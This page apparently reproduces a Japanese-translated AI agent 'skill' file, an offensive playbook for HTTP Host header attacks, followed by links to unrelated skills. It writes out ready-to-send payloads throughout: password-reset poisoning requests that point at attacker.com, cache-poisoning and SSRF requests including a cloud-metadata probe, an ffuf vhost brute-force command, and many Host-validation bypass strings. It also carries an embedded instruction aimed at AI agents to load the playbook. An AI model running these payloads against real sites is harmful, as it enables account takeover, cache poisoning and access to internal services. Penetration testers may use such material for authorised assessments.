http-host-header-attacks
アプリケーションがURLの生成・リクエストのルーティング・アクセス制御においてHostヘッダーを信頼している場合に使用する、HTTPホストヘッダーインジェクションと不正ルーティングの攻撃手法集。パスワードリセットポイズニング、Webキャッシュポイズニング、ルーティング経由のSSRF、仮想ホストバイパスなどの攻撃シナリオを網羅する。
description の原文を見る
>- HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
SKILL.md 本文
SKILL: HTTP Host Header Attacks — Injection & Routing Abuse
AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
0. RELATED ROUTING
web-cache-deceptionHost injectionがキャッシュ動作と組み合わされるときssrf-server-side-request-forgeryHost headerが内部サービスへのリクエストをルーティングするときopen-redirectHost injectionが攻撃者ドメインへのリダイレクトを引き起こすときwaf-bypass-techniquesHost操作がWAFルーティングバイパスを助けるときrequest-smugglingsmugglingがフロントエンド検証を超えてHost header操作を可能にするときsubdomain-takeoverHostルーティングが内部vhostsを露出させ、サブドメイン経由で解決可能なとき
1. ATTACK SURFACE
Host headerはウェブアプリケーションとインフラストラクチャによって以下の目的で使用されます:
| 用途 | 悪用方法 |
|---|---|
| URL生成(パスワードリセットリンク、メールリンク) | 攻撃者ドメインをinject → ユーザーが攻撃者へのリンクをクリック |
| 仮想ホストルーティング | Hostをなりすまし → 内部/adminの仮想ホストにアクセス |
| キャッシュキーコンポーネント | 異なるHostをinject → すべてのユーザーのキャッシュを汚染 |
| リバースプロキシルーティング | Hostがバックエンドを決定 → 内部サービスへのSSRF |
| アクセス制御の決定 | HostベースのACLをバイパス可能 |
| 正規URL / SEOリダイレクト | Host injection → Open redirect |
2. PASSWORD RESET POISONING
最も一般的で影響力のあるHost header攻撃です。
仕組み
1. 攻撃者がvictim@target.comのパスワードリセットをリクエスト
2. 攻撃者がリセットリクエスト内のHost headerを改ざん:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
email=victim@target.com
3. サーバーがHost header値を使用してリセットリンクを生成:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. ユーザーがメールを受け取り、リンクをクリック → トークンが攻撃者に送信
5. 攻撃者が実際のtarget.comでトークンを使用してパスワードをリセット
テスト
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
Burp Collaboratorで受信HTTPリクエストのリセットトークンを確認します。
変種
- 連結する場合がある:
Host: target.com.attacker.com→ リンクがhttps://target.com.attacker.com/reset?token=xxxになる - ポーション部分のみを使用する場合:
Host: target.com:@attacker.com→ 一部のURLパーサーでattacker.comと解析される
3. HOST経由のWEBキャッシュ汚染
1. 攻撃者が送信:
GET / HTTP/1.1
Host: attacker.com
2. キャッシュキーがURLパスを使用し、Host headerを使用しない場合:
→ attacker.comが生成されたリンク/コンテンツでキャッシュされた応答
3. 後続のユーザーがGET /をリクエストすると、汚染された応答を受け取る
→ リンクはattacker.comを指し、スクリプトはattacker.comからロード
重要な条件: キャッシュはキャッシュキーにHost headerを含めない必要があり、アプリケーションはHost を応答本文で使用する必要があります。
異なるHost値で2つのリクエストを送信し、2番目のリクエストが最初のHostを応答で返すかどうかをチェックしてテストします。
4. HOST ルーティング経由のSSRF
リバースプロキシがHost headerを使用してバックエンドにルーティングする場合:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ リバースプロキシがinternal-admin-panel.localにリクエストをルーティング
→ 攻撃者が内部サービスにアクセス
一般的な用途:
- Nginx
proxy_pass($hostに基づいて) - Apache
ProxyPass(仮想ホストルーティング) - Kubernetes Ingress controllers
- クラウドロードバランサー
5. 仮想ホストバイパス
多くのサーバーは同じIP上で仮想ホスティング経由で複数のアプリケーションをホストします:
ターゲット: Host: www.target.com → パブリックサイト
非表示: Host: admin.target.com → 管理パネル(パブリックDNSにない)
非表示: Host: staging.target.com → ステージング環境
非表示: Host: localhost → サーバーステータスページ
発見
1. 一般的な仮想ホスト名でHost headerをブルートフォース:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. 特殊な値を試す:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. 異なる仮想ホストを識別するために応答サイズ/コンテンツを比較
6. HOST検証がある場合のバイパステクニック
6.1 オーバーライドヘッダー
多くのフレームワーク/プロキシはこれらのヘッダーをHost headerより信頼します:
| ヘッダー | これを信頼するフレームワーク |
|---|---|
X-Forwarded-Host | Symfony, Laravel, Django (USE_X_FORWARDED_HOST=True時), Rails (プロキシ背後) |
X-Host | カスタムプロキシ設定 |
X-Original-URL | IIS URL Rewriteモジュール |
X-Rewrite-URL | IIS URL Rewriteモジュール |
Forwarded: host=attacker.com | RFC 7239準拠のプロキシ |
X-Forwarded-Server | Apache mod_proxy |
すべてを同時にテスト:
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com
6.2 リクエスト行の絶対URI
GET http://attacker.com/path HTTP/1.1
Host: target.com
HTTP/1.1仕様(RFC 7230)に従うと: リクエスト行に絶対URIが含まれている場合、Host headerは無視すべき(SHOULD)です。一部のサーバーはこれに従い、一部は従いません — プロキシとバックエンド間のこのミスマッチが脆弱性を作成します。
6.3 ダブルHost ヘッダー
GET /path HTTP/1.1
Host: target.com
Host: attacker.com
動作はさまざま:
- プロキシが最初のHostを検証し、アプリが2番目を使用
- サーバーが連結:
target.com, attacker.com - RFC: 両方が異なる場合、400を返すべき。ほとんどのサーバーはそうしない。
6.4 ポート/認証情報付きHost
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com
認証情報(@)またはフラグメント(#)が存在する場合、URLパーサーは「host」部分を異なる方法で抽出するかもしれません。
6.5 末尾のドット
Host: target.com.
DNSは target.com. と target.com を同じように扱います(末尾のドット = FQDN)。しかしHost検証は末尾のドットをストリップしない可能性があります → target.com. ≠ target.com 文字列比較 → ホワイトリストバイパス。
6.6 タブ/スペースInject
Host: target.com\tattacker.com
Host: target.com attacker.com
一部のパーサーはホワイトスペースで分割されます; サーバーが attacker.com 部分を使用しながら検証が target.com 部分をチェックする可能性があります。
6.7 ラップアラウンド/囲まれた値
Host: "attacker.com"
Host: <attacker.com>
引用またはカッコで囲まれた値は、バリデータではなくアプリによってストリップされる可能性があります。
7. フレームワーク固有の動作
| フレームワーク | Host ソース | 注意点 |
|---|---|---|
| PHP | $_SERVER['HTTP_HOST'] (raw header、直接injectible) | SERVER_NAME は UseCanonicalName On でのみ安全 |
| Django | HttpRequest.get_host() が X-Forwarded-Host を最初にチェック(有効な場合) | USE_X_FORWARDED_HOST=True が ALLOWED_HOSTS をバイパス |
| Rails | request.host はHost headerから; プロキシ背後で X-Forwarded-Host を信頼 | Rails 6+ HostAuthorization ミドルウェアが緩和 |
| Node/Express | req.hostname / req.headers.host; trust proxy で X-Forwarded-Host を使用 | 組み込みhost検証なし |
8. コネクション状態攻撃
HTTP keep-aliveを悪用する洗練された変種:
コネクション1:
リクエスト1: GET / HTTP/1.1 ← 有効なHost: target.com
Host: target.com → プロキシが検証し、転送、コネクション保持
リクエスト2: GET /admin HTTP/1.1 ← 同じコネクション上の悪意あるHost
Host: evil.com → プロキシがコネクション上の後続リクエストで検証をスキップ
(最初のリクエストでコネクションを検証した)
これは、keep-aliveコネクションの最初のリクエストでのみHost検証を実行するプロキシに対して機能します。
テスト
1. "Connection: keep-alive"で Burp Repeaterを使用
2. 通常のリクエストを最初に送信
3. 同じコネクション上で、操作されたHostで別のリクエストを送信
4. 2番目のリクエストが異なる方法で処理されるかチェック
9. HOST HEADER攻撃決定木
アプリケーションが応答/動作でHost headerを使用?
│
├── 直接Host injectionをテスト
│ ├── Hostを攻撃者ドメインに変更 → 応答で反映?
│ │ ├── はい → 影響をチェック:
│ │ │ ├── パスワードリセットメール内? → PASSWORD RESET POISONING
│ │ │ ├── キャッシュされた応答内? → WEB CACHE POISONING
│ │ │ ├── リダイレクト内? → OPEN REDIRECT
│ │ │ └── スクリプト/リンクURL内? → XSS VIA HOST
│ │ └── いいえ (400/403/異なる応答) → Hostは検証されている
│ │
│ └── Host検証? バイパス試行:
│ ├── X-Forwarded-Hostヘッダー
│ ├── X-Host / X-Original-URL / Forwardedヘッダー
│ ├── リクエスト行の絶対URI
│ ├── ダブルHostヘッダー
│ ├── Host: target.com:@attacker.com (URLパーサー混乱)
│ ├── Host: target.com. (末尾ドット)
│ ├── Hostvalue内のタブ/スペースinjection
│ └── コネクション状態攻撃(有効な最初リクエスト、悪い次)
│
├── 仮想ホスト列挙をテスト
│ ├── ターゲットIP対してHost値をブルートフォース
│ ├── 試す: localhost, admin, staging, internal, intranet
│ └── 異なるHost値の応答サイズを比較
│
├── HOST ルーティング経由のSSRFをテスト
│ ├── Host: 127.0.0.1 → 内部サービス?
│ ├── Host: internal-hostname.local → 内部ルーティング?
│ └── Host: 169.254.169.254 → クラウドメタデータ?
│
└── Host ベースの動作が見つからない
└── アプリがサーバー側操作でHostを使用するかチェック
(メール生成、webhook URL、APIコールバック)
10. トリック ノート — AIモデルが見落とすもの
- パスワードリセットpoisoningは被害者がログインしていることを要求しない — あなたがリセットをリクエストし、被害者はリンクをクリックするだけです。トークンはあなたのサーバーに到着します。
- X-Forwarded-Hostは#1で見落とされるバイパス: ほとんどのHost検証は
Hostheaderをチェックしますが、プロキシの背後にあるとき、フレームワークは静かにX-Forwarded-Hostを優先します。 - ダブルHostヘッダーはプロトコル有効ですが動作未定義: RFC は400で拒否すべきですが、ほぼ何のサーバーもこれを実際には行いません。プロキシとアプリ間のミスマッチが脆弱性です。
- 絶対URIはRFC毎のHostをオーバーライド:
GET http://evil.com/path HTTP/1.1\nHost: target.com— 仕様はリクエスト行URIを使用すべきといいます。しかしすべての実装が同意するわけではありません。 - HOST経由のキャッシュpoisoningはキャッシュがキーからHostを除外することを要求 — ほとんどのCDNはキャッシュキーにHostを含めます。しかしカスタムVarnish/Nginxキャッシュはそうしない場合があります。また
X-Forwarded-Hostをキャッシュキー差別化子としてテストします。 - コネクション状態攻撃はまれにテストされる — 自動化されたスキャナーはkeep-alive動作をテストしません。Burp Repeaterのコネクション再利用経由の手動テストが必須です。
- DNS リバインディング + Host 攻撃: DNSを制御する場合、ドメインを対象のIPにポイント → ドメインが相手のサーバーに解決 → Host headerがドメインを言いますが、リクエストが相手のサーバーをヒット。IP ベースのアクセス制御をバイパスするのに有用です。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。